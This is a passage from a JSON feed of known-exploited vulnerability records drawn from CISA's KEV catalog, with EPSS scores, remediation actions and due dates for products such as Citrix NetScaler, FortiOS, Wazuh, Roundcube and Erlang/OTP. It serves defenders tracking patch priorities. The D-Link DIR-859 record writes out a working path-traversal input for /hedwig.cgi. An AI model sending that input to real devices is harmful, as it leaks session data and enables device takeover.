SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-01","updatedAt":null,"regions":["Global"],"vendor":"TeleMessage","product":"TM SGNL","stacks":["TeleMessage","TM SGNL"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-01","dueAt":"2025-07-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11567,"percentile":0.96004,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48927","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48927 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-48928","cveId":"CVE-2025-48928","aliases":[],"kind":"vulnerability","title":"TeleMessage TM SGNL Exposure of Core Dump File to an Unauthorized Control Sphere Vulnerability","summary":"TeleMessage TM SGNL contains an exposure of core dump file to an unauthorized control sphere Vulnerability. This vulnerability is based on a JSP application in which the heap content is roughly equivalent to a \"core dump\" in which a password previously sent over HTTP would be included in this dump.","detail":"CISA added this entry on 2025-07-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-07-01","updatedAt":null,"regions":["Global"],"vendor":"TeleMessage","product":"TM SGNL","stacks":["TeleMessage","TM SGNL"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-07-01","dueAt":"2025-07-22","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.00577,"percentile":0.4726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-48928","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-07-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-48928 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-48928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-48928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-6543","cveId":"CVE-2025-6543","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler ADC and Gateway Buffer Overflow Vulnerability","summary":"Citrix NetScaler ADC and Gateway contain a buffer overflow vulnerability leading to unintended control flow and Denial of Service. NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.","detail":"CISA added this entry on 2025-06-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-30","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler ADC and Gateway","stacks":["Citrix NetScaler","Citrix","NetScaler ADC and Gateway"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-30","dueAt":"2025-07-21","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10433,"percentile":0.95704,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-6543","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-6543 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-6543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-6543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-6693","cveId":"CVE-2019-6693","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Use of Hard-Coded Credentials Vulnerability","summary":"Fortinet FortiOS contains a use of hard-coded credentials vulnerability that could allow an attacker to cipher sensitive data in FortiOS configuration backup file via knowledge of the hard-coded key.","detail":"CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-25","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-25","dueAt":"2025-07-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0664,"percentile":0.9382,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-6693","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-6693 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-6693&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-6693, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-0769","cveId":"CVE-2024-0769","aliases":[],"kind":"vulnerability","title":"D-Link DIR-859 Router Path Traversal Vulnerability","summary":"D-Link DIR-859 routers contain a path traversal vulnerability in the file /hedwig.cgi of the component HTTP POST Request Handler. Manipulation of the argument service with the input ../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml allows for the leakage of session data potentially enabling privilege escalation and unauthorized control of the device. This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.","detail":"CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-25","updatedAt":null,"regions":["Global"],"vendor":"D-Link","product":"DIR-859 Router","stacks":["D-Link","DIR-859 Router"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-25","dueAt":"2025-07-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82714,"percentile":0.99665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-0769","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-0769 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-0769&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-0769, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-54085","cveId":"CVE-2024-54085","aliases":[],"kind":"vulnerability","title":"AMI MegaRAC SPx Authentication Bypass by Spoofing Vulnerability","summary":"AMI MegaRAC SPx contains an authentication bypass by spoofing vulnerability in the Redfish Host Interface. A successful exploitation of this vulnerability may lead to a loss of confidentiality, integrity, and/or availability.","detail":"CISA added this entry on 2025-06-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-25","updatedAt":null,"regions":["Global"],"vendor":"AMI","product":"MegaRAC SPx","stacks":["AMI","MegaRAC SPx"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-25","dueAt":"2025-07-16","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.60747,"percentile":0.99142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-54085","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-54085 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-54085&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-54085, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-0386","cveId":"CVE-2023-0386","aliases":[],"kind":"vulnerability","title":"Linux Kernel Improper Ownership Management Vulnerability","summary":"Linux Kernel contains an improper ownership management vulnerability, where unauthorized access to the execution of the setuid file with capabilities was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount. This uid mapping bug allows a local user to escalate their privileges on the system.","detail":"CISA added this entry on 2025-06-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-17","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-17","dueAt":"2025-07-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0788,"percentile":0.94669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-0386","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-0386 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-0386&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-0386, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-33538","cveId":"CVE-2023-33538","aliases":[],"kind":"vulnerability","title":"TP-Link Multiple Routers Command Injection Vulnerability","summary":"TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-16","updatedAt":null,"regions":["Global"],"vendor":"TP-Link","product":"Multiple Routers","stacks":["TP-Link","Multiple Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-16","dueAt":"2025-07-07","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.41606,"percentile":0.98672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-33538","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-33538 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-33538&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-33538, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-43200","cveId":"CVE-2025-43200","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Unspecified Vulnerability","summary":"Apple iOS, iPadOS, macOS, watchOS, and visionOS, contain an unspecified vulnerability when processing a maliciously crafted photo or video shared via an iCloud Link.","detail":"CISA added this entry on 2025-06-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-16","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-16","dueAt":"2025-07-07","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01191,"percentile":0.67743,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-43200","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-43200 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-43200&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-43200, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24016","cveId":"CVE-2025-24016","aliases":[],"kind":"vulnerability","title":"Wazuh Server Deserialization of Untrusted Data Vulnerability","summary":"Wazuh contains a deserialization of untrusted data vulnerability that allows for remote code execution on Wazuh servers.","detail":"CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-10","updatedAt":null,"regions":["Global"],"vendor":"Wazuh","product":"Wazuh Server","stacks":["Wazuh","Wazuh Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-10","dueAt":"2025-07-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9384,"percentile":0.99843,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24016","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24016 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-33053","cveId":"CVE-2025-33053","aliases":[],"kind":"vulnerability","title":"Microsoft Windows External Control of File Name or Path Vulnerability","summary":"Microsoft Windows contains an external control of file name or path vulnerability that could allow an attacker to execute code from a remote WebDAV location specified by the WorkingDirectory attribute of Internet Shortcut files.","detail":"CISA added this entry on 2025-06-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-10","dueAt":"2025-07-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.87015,"percentile":0.99745,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-33053","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-33053 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-33053&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-33053, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-42009","cveId":"CVE-2024-42009","aliases":[],"kind":"vulnerability","title":"RoundCube Webmail Cross-Site Scripting Vulnerability","summary":"RoundCube Webmail contains a cross-site scripting vulnerability. This vulnerability could allow a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.","detail":"CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-09","updatedAt":null,"regions":["Global"],"vendor":"Roundcube","product":"Webmail","stacks":["Roundcube","Webmail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-09","dueAt":"2025-06-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.82882,"percentile":0.99668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-42009","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-42009 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-42009&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-42009, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-32433","cveId":"CVE-2025-32433","aliases":[],"kind":"vulnerability","title":"Erlang Erlang/OTP SSH Server Missing Authentication for Critical Function Vulnerability","summary":"Erlang Erlang/OTP SSH server contains a missing authentication for critical function vulnerability. This could allow an attacker to execute arbitrary commands without valid credentials, potentially leading to unauthenticated remote code execution (RCE). By exploiting a flaw in how SSH protocol messages are handled, a malicious actor could gain unauthorized access to affected systems. This vulnerability could affect various products that implement Erlang/OTP SSH server, including—but not limited to—Cisco, NetApp, and SUSE.","detail":"CISA added this entry on 2025-06-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-06-09","updatedAt":null,"regions":["Global"],"vendor":"Erlang","product":"Erlang/OTP","stacks":["Erlang","Erlang/OTP"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-06-09","dueAt":"2025-06-30","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98924,"percentile":0.99927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-32433","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-06-09","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-32433 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-32433&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-32433, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-5419","cveId":"CVE-2025-5419","aliases":[],"kind":"vulnerability","title":"Google Chromium V8 Out-of-Bounds Read and Write Vulnerability","summary":"Google Chromium V8 contains an out-of-bounds read and write vulnerability that could allow a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.","detail":"CISA added this entry on 2025-06-05. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are 